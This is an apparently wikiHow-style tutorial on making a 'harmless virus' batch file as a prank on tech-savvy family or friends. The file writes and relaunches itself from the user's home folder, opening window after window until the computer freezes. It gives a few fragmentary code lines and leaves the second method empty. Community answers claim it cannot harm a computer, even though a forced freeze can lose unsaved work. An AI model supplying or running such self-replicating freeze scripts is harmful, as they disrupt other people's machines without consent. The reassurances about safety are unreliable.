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Sometimes, you might be thinking of making your own prank for others, but your family/friends are technological. This article will teach how to make a self-replicating, harmless virus, that freezes your computer as a prank.
Steps
Method 1
Method 1 of 2:
Echo Window Prank
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1Open Notepad. You can also open any other word processor.
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2Type on the first line. It should be "@echo off".Advertisement
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3Type the following code on the next line:
- cd %homedrive%/users/%username%/
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- echo start s.bat
- )>>s.bat
- start s.bat
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4Save the file. Remember to add the ".bat" extension to the end of the file name.
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5Open the file. It will open many pointless windows, but it will freeze the computer.
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6Shut down your computer. It will return to normal.
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Method 2
Method 2 of 2:
Endless Loop Prank
Community Q&A
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QuestionCan this harm my computer?Community AnswerNo, this will not harm your computer in any way. This will only freeze or lag your computer, but after rebooting, it will be completely fine.
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QuestionWill this cause my computer to crash?Hello903helloCommunity AnswerNo. Unless your computer has too little RAM (Random Access Memory), or you opened up too many apps (especially Google Chrome). In that case your RAM would be used up and cause your computer to lag.
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QuestionHow do I fix a PC loop program?Community AnswerRight click on the taskbar and go to Task Manager. Select the program and click on "end task". This will fix the problem. If it doesn't, restart your system.
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Warnings
- When you are done, delete the file so as not to confuse anyone.⧼thumbs_response⧽
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